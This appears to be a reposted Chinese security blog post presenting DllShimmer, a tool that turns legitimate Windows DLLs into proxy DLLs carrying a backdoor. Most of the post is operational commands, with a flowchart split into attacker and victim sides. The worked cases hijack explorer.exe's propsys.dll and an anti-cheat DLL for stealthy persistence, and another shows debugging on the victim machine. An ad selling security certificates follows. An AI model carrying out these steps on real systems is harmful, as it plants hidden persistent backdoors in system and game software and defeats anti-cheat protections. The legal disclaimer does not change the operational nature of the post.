文章总结: DllShimmer是一款自动化生成DLL劫持后门的工具,输入合法DLL可自动提取导出表并生成代理DLL,编译后替换原文件,程序加载时先执行后门代码再无缝转发原函数。支持动态和静态链接模式,但仅适用于x86-64架构,且对浮点参数、参数数量及混淆DLL存在限制。工具提供快速使用案例和调试技巧,适用于隐蔽的权限维持或攻击测试。 综合评分: 68 文章分类: 二进制安全,逆向分析,红队,免杀,安全工具
零逆向 DLL 劫持后门生成器
菜狗 菜狗
只会看监控的实习生
2026年2月23日 08:00 江西
⚡ 一句话工作原理
输入一个合法 DLL → DllShimmer 自动提取导出表 → 生成两个文件(.cpp + .def)→ 编译成代理 DLL → 替换原 DLL → 程序加载时先执行你的代码,再无缝转发给原函数。
📦 安装(30 秒)
# 依赖安装(Ubuntu/Debian)
sudo apt install mingw-w64
# 下载单文件绿色版
wget https://github.com/your-repo/DllShimmer/releases/latest/download/DllShimmer-linux-amd64 -O DllShimmer && chmod +x DllShimmer
# 验证
./DllShimmer --help
🔥 快速使用(3 步)
场景 1:劫持 version.dll(动态链接)
./DllShimmer -i version.dll -o project/ -x "C:/Windows/System32/version.dll" -m
场景 2:劫持 app.dll(静态链接)
./DllShimmer -i app.dll -o project/ -x "app2.dll" -m --static
🛠️ 参数速查表
| 参数 | 必填 | 说明 | 示例 |
| — | — | — | — |
| -i / --input | ✅ | 原始 DLL 路径 | -i version.dll |
| -o / --output | ✅ | 输出目录 | -o ./backdoor/ |
| -x / --original | ✅ | 原 DLL 路径(动态)或名称(静态) | -x "C:/Windows/System32/version.dll" |
| -m / --mutex | ❌ | 互斥锁,防止单次运行多次触发后门 | -m |
| --static | ❌ | 静态链接模式(生成 .lib) | --static |
| --debug-file | ❌ | 调试日志输出到文件(默认 STDOUT) | --debug-file debug.log |
🚨 核心限制(必看)
| 限制项 | 说明 | 规避方案 |
| — | — | — |
| 架构 | 仅支持 x86-64/AMD64 | 无(需换工具) |
| 浮点参数 | 通用代理代码不支持浮点函数 | 手动在 .cpp 中调整寄存器 |
| 参数数量 | 最多 12 个参数 ,硬编码 | 拆分函数或改模板 |
| 混淆 DLL | Qt 等高度混淆 DLL 会生成乱码 | 别用它们当代理,换简单 DLL |
| Current Directory | 某些程序会 SetCurrentDirectoryW(),导致加载路径错乱 | 动态链接时 -x 用绝对路径;静态链接时把原 DLL 放 CWD |
📜 拖布图(全流程泳道)
flowchart TD
subgraph 攻击者侧
A[输入: version.dll] -->|DllShimmer -i| B[解析导出表]
B --> C[生成 proxy.cpp + proxy.def]
C --> D[编译: x86_64-w64-mingw32-g++]
D --> E[输出: proxy_version.dll]
E --> F[替换到目标程序目录]
end
subgraph 受害者侧
G[用户双击程序.exe] --> H[加载 proxy_version.dll]
H --> I{mutex?}
I -->|是| J[执行后门代码(仅一次)]
I -->|否| K[直接转发]
J --> K
K --> L[LoadLibraryA("C:/Windows/System32/version.dll")]
L --> M[GetProcAddress(函数名/序号)]
M --> N[跳转到原函数执行]
N --> O[程序正常运行]
end
style A fill:#f4f4f4
style J fill:#ffcccb
style O fill:#e8f5e9
案例 1:劫持 explorer.exe 的 propsys.dll
# 1. 生成代理
./DllShimmer -i propsys.dll -o exp/ -x "C:/Windows/System32/propsys.dll" -m
# 2. 编译
cd exp && x86_64-w64-mingw32-g++ -shared -o propsys.dll proxy.cpp proxy.def
# 3. 放置到 explorer.exe 所在目录(通常是 C:\Windows)
# 4. 重启 explorer → 后门触发
案例 2:劫持游戏反作弊 easyanticheat.dll
# 静态链接更隐蔽
./DllShimmer -i easyanticheat.dll -o exp/ -x "easyanticheat_origin.dll" -m --static
# 编译时链接 .lib
x86_64-w64-mingw32-g++ -shared -o easyanticheat.dll proxy.cpp proxy.def easyanticheat.lib
📝 调试技巧
# 1. 生成带调试日志的代理
./DllShimmer -i version.dll -o exp/ -x "C:/Windows/System32/version.dll" -m --debug-file shim.log
# 2. 在受害者机器运行程序
# 3. 查看日志:加载了哪些函数?哪个失败了?
cat shim.log
关注回复DllShimmer获取
低价出售安全证书不限于cisp、pte等请Vme~建了一个项目群,想进群的请回复进群即可
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:只会看监控的实习生 菜狗 菜狗《零逆向 DLL 劫持后门生成器》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论